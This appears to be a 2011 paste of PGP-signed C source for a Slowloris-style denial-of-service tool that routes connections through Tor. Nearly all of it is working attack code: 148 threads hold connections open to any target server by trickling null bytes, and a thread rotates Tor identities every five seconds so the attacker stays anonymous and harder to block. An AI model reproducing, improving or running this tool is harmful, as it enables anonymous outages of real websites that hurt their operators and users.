Slowloris with a twist over tor

By: SanguineRose on Jul 8th, 2011  |  syntax: C  |  size: 5.81 KB  |  hits: 4,721  |  expires: Never
download  |  raw  |  embed  |  report abuse
Copied
  1. -----BEGIN PGP SIGNED MESSAGE-----
  2. Hash: SHA256
  3.  
  4. /* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  5.  *                  Slowloris with a twist over tor
  6.  * =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  7.  *
  8.  * Due to the alpha version of this code being leaked I've decided
  9.  * to release an improved version to fully show this method of
  10.  * attack mostly free of the bugs / dependency on torsocks. This
  11.  * attack works on a similar idea of slowloris only it sends packets
  12.  * containing a single 0x00 and optionally nothing causing Apache
  13.  * to keep the connection alive almost indefinitely.
  14.  *
  15.  * Due to no one knowing how th3j35t3r's XerXes works I can not say
  16.  * if this is the same method. This was one of my many ideas I was
  17.  * exploring as to how it could possibly work that has some successful
  18.  * results.
  19.  *
  20.  * - SanguineRose / William Welna
  21.  *
  22.  *                        Leaked Version
  23.  *        http://seclists.org/fulldisclosure/2011/Jul/84
  24.  */
  25.  
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <string.h>
  29. #include <stdint.h>
  30. #include <unistd.h>
  31. #include <netdb.h>
  32. #include <signal.h>
  33. #include <sys/socket.h>
  34. #include <sys/types.h>
  35. #include <netinet/in.h>
  36. #include <arpa/inet.h>
  37. #include <pthread.h>
  38.  
  39. /* Re-connecting to tor sometimes takes a while, in order for this to be effective it requires
  40.  * mass amounts of threads handling only a few connections each, since this is a POC I will leave
  41.  * it up to others to fix that. It also has limited success/attack lengths due to tor being slow
  42.  */
  43. #define CONNECTIONS 3
  44. #define THREADS 148
  45.  
  46. typedef struct {
  47.         const char *host, *port;
  48. } thread_args;
  49.  
  50. // Simple debug function
  51. void dump_array(char *name, char *data, int size) {
  52.         int x, z, indent = strlen(name) + 2;
  53.         fprintf(stderr, "%s { ", name);
  54.         for(x=0; x < size; x++) {
  55.                 for(z=0; z < indent; z++)
  56.                         putc(0x20, stderr);
  57.                 fprintf(stderr, "%20x\n", data[x]);
  58.         }
  59.         fprintf(stderr, "};\n");
  60. }
  61.  
  62. int make_socket(const char *host, const char *port) {
  63.         struct addrinfo hints, *servinfo, *p;
  64.         int sock, r, y=1;
  65.         memset(&hints, 0, sizeof(hints));
  66.         hints.ai_family = AF_UNSPEC;
  67.         hints.ai_socktype = SOCK_STREAM;
  68.         if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
  69.                 fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  70.                 return -1;
  71.         }
  72.         for(p = servinfo; p != NULL; p = p->ai_next) {
  73.                 if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
  74.                         continue;
  75.                 }
  76.                 setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &y, 4);
  77.                 if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
  78.                         close(sock);
  79.                         continue;
  80.                 }
  81.                 break;
  82.         }
  83.         if(p == NULL) {
  84.                 if(servinfo)
  85.                         freeaddrinfo(servinfo);
  86.                 return -2;
  87.         }
  88.         if(servinfo)
  89.                 freeaddrinfo(servinfo);
  90.         return sock;
  91. }
  92.  
  93. /* Opens SOCKS5 connection to tor
  94.  * I also dedicate this function to pr0f <3
  95.  */
  96. int pr0f_loves_me_tor_connect(const char *host, const char *port) {
  97.         char *buf = calloc(1024, sizeof(char));
  98.         short l = strlen(host), t;
  99.         int x, sock;
  100.         fprintf(stderr, "[Connect %s:%s]\n", host, port);
  101.         if((sock=make_socket("127.0.0.1", "9050"))<0) {
  102.                 free(buf);
  103.                 return sock;
  104.         }
  105.         write(sock, "\x05\x01\x00", 3); // SOCKS5, 1 Authentication Method, No Auth/Plain
  106.         read(sock, buf, 1024);
  107.         if((buf[0] != 0x05) || (buf[1] == 0xFF) || (buf[1] != 0x00)) {
  108.                 free(buf);
  109.                 return -3; // Auth not accepted by socks server / wrong version
  110.         }
  111.         buf[0] = 0x05; buf[1] = 0x01; buf[2] = 0x00; buf[3] = 0x03; buf[4] = l;
  112.         for(x=0; x < l; x++)
  113.                 buf[5+x] = host[x];
  114.         x=l+5;
  115.         t = htons(atoi(port));
  116.         memcpy((buf+x), &t, 2);
  117.         //dump_array("final_request", buf, x+2);
  118.         write(sock, buf, x+2);// send request
  119.         read(sock, buf, 1024);
  120.         if((buf[0] == 0x05) && (buf[1] == 0x00)) { // connection granted/success
  121.                 free(buf);
  122.                 return sock;
  123.         }
  124.         free(buf);
  125.         return -4; // Unable to conect
  126. }
  127.  
  128. // This is for the SIGPIPE error on bad connections / premature closing
  129. void broke(int s) {
  130.         // do nothing
  131. }
  132.  
  133. void *attack(void *arg) {
  134.         thread_args *a = (thread_args *)arg;
  135.         int x, r, socks[CONNECTIONS];
  136.         fprintf(stderr, "[Thread Started]\n");
  137.         for(x=0; x < CONNECTIONS; x++)
  138.                 socks[x]=0;
  139.         signal(SIGPIPE, &broke);
  140.         while(1) {
  141.                 for(x=0; x < CONNECTIONS; x++) {
  142.                         if(socks[x] <= 0) {
  143.                                 socks[x] = pr0f_loves_me_tor_connect(a->host, a->port);
  144.                                 fprintf(stderr, "[Socket Returned %i]\n", socks[x]);
  145.                         }
  146.                         if(write(socks[x], "\0", 1) < 0) {
  147.                                 close(socks[x]);
  148.                                 fprintf(stderr, "[Socket Error Returned %i]\n", socks[x]);
  149.                                 socks[x] = pr0f_loves_me_tor_connect(a->host, a->port);
  150.                         }
  151.                 }
  152.                 usleep(100000);
  153.         }
  154. }
  155.  
  156. void do_help(char *n) {
  157.         fprintf(stderr, "Usage: %s <ip/hostname> <port>\n");
  158.         exit(0);
  159. }
  160.  
  161. void *cycle_identity() {
  162.         int sock = make_socket("localhost", "9051");
  163.         char *shit_bucket = calloc(1024, sizeof(char));
  164.         if(sock < 0) {
  165.                 fprintf(stderr, "Can't connect to tor control port\n");
  166.                 free(shit_bucket);
  167.                 pthread_exit(NULL);
  168.         }
  169.         write(sock, "AUTHENTICATE \"\"\n", 16);
  170.         while(1) {
  171.                 write(sock, "signal NEWNYM\n", 15);
  172.                 fprintf(stderr, "[cycle_identity -> signal NEWNYM\n");
  173.                 read(sock, shit_bucket, 1024);
  174.                 sleep(5);
  175.         }
  176. }
  177.  
  178. int main(int argc, char **argv) {
  179.         pthread_t threads[THREADS];
  180.         pthread_t cycle_tid;
  181.         thread_args arg;
  182.         void *status;
  183.         int x;
  184.         if(argc != 3)
  185.                 do_help(argv[0]);
  186.         arg.host = (const char *)argv[1];
  187.         arg.port = (const char *)argv[2];
  188.         pthread_create(&cycle_tid, NULL, cycle_identity, NULL);
  189.         for(x=0; x < THREADS; x++) {
  190.                 pthread_create(&threads[x], NULL, attack, &arg);
  191.                 usleep(200000);
  192.         }
  193.         for(x=0; x < THREADS; x++)
  194.                 pthread_join(threads[x], &status);
  195.         pthread_kill(cycle_tid, 15);
  196.         pthread_exit(NULL);
  197.         return 0;
  198. }
  199. -----BEGIN PGP SIGNATURE-----
  200. Version: GnuPG v1.4.10 (GNU/Linux)
  201.  
  202. iF4EAREIAAYFAk4XxcIACgkQdBwqj+jihCUAeAD7BO07gG+GnEZWGcX9fn2takPy
  203. zVSMo0KkwJBubUQtQwoA/1/ig9fN/adDhpOg1yPJmJrYCORcQhxbhxW1trWXQpEd
  204. =yC0j
  205. -----END PGP SIGNATURE-----